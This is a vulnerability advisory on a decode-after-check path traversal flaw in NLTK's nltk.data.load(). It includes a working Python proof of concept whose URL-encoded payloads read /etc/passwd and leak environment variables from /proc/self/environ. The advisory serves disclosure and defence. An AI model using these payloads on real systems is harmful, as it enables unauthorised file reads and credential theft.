### Summary nltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK's SECURITY.md and read arbitrary files from the filesystem. While literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path. ### Affected Component nltk/data.py — find(), normalize_resource_url(), and the _UNSAFE_NO_PROTOCOL_RE regex check. Relevant occurrences: data.py L650–L653 — final path constructed from url2pathname(resource_name) after checks data.py L54–L69 — _UNSAFE_NO_PROTOCOL_RE operates only on the undecoded string data.py L219–L245 — normalize_resource_url() for nltk: scheme contributes to decode-after-check data.py L615–L618 — defense-in-depth traversal check also operates on undecoded input Root Cause The regex _UNSAFE_NO_PROTOCOL_RE is matched against the raw resource string. Path normalization via url2pathname() happens later, so any percent-encoded / (%2f) or . (%2e) is invisible to the regex but becomes active in the final path. ### Proof of Concept ``` """ NLTK Arbitrary File Read via URL-Encoded Path Traversal ======================================================= Bypasses _UNSAFE_NO_PROTOCOL_RE security regex in nltk/data.py by URL-encoding path separators and traversal components. Affected: NLTK <= 3.9.4 (default ENFORCE=False configuration) CWE: CWE-22 (Path Traversal) Root Cause: nltk/data.py:find() checks resource names against a regex for traversal patterns (../, leading /, etc.) BEFORE calling url2pathname() which decodes %xx sequences. This is a classic "decode-after-check" vulnerability. """ import sys import os import warnings # Suppress NLTK security warnings for clean PoC output warnings.filterwarnings("ignore", category=RuntimeWarning) # Setup sys.path.insert(0, os.path.join(os.path.dirname(__file__), "nltk")) os.makedirs(os.path.expanduser("~/nltk_data/corpora"), exist_ok=True) import nltk from nltk.pathsec import ENFORCE BANNER = """ =================================================== NLTK URL-Encoded Path Traversal PoC Affected: nltk <= 3.9.4 Default ENFORCE={enforce} =================================================== """.format(enforce=ENFORCE) def test_variant(name, payload, fmt="raw"): """Test a single traversal variant.""" try: content = nltk.data.load(payload, format=fmt) if isinstance(content, bytes): preview = content[:200].decode("utf-8", errors="replace") else: preview = content[:200] first_line = preview.split("\n")[0] print(f" [VULN] {name}") print(f" Payload: {payload}") print(f" Read OK: {first_line}") return True except Exception as e: print(f" [SAFE] {name}") print(f" Payload: {payload}") print(f" Blocked: {type(e).__name__}: {e}") return False def main(): print(BANNER) vulns = 0 # --- Variant 1: URL-encoded absolute path --- print("[1] URL-encoded absolute path (%2f = /)") if test_variant( "Encoded leading slash bypasses ^/ regex check", "nltk:%2fetc%2fpasswd", ): vulns += 1 print() # --- Variant 2: Encoded dot-dot traversal --- print("[2] URL-encoded dot-dot traversal (%2e = .)") if test_variant( "Encoded dots bypass \\.\\./ regex check", "nltk:corpora/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd", ): vulns += 1 print() # --- Variant 3: Literal dots with encoded slash --- print("[3] Literal dots with encoded slash (..%2f)") if test_variant( "Encoded slash after literal .. bypasses \\.\\./ regex", "nltk:corpora/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd", ): vulns += 1 print() # --- Variant 4: Read process environment (credential leak) --- print("[4] Read /proc/self/environ (credential leakage)") try: content = nltk.data.load("nltk:%2fproc%2fself%2fenviron", format="raw") env_vars = content.decode("utf-8", errors="replace").split("\x00") print(f" [VULN] Leaked {len(env_vars)} environment variables") for var in env_vars[:3]: if var: key = var.split("=")[0] if "=" in var else var print(f" {key}=...") vulns += 1 except Exception as e: print(f" [SAFE] Blocked: {e}") print() # --- Control: verify normal traversal IS blocked --- print("[CONTROL] Verify literal ../ is blocked by regex") test_variant("Direct traversal (should be blocked)", "nltk:../../../etc/passwd") print()

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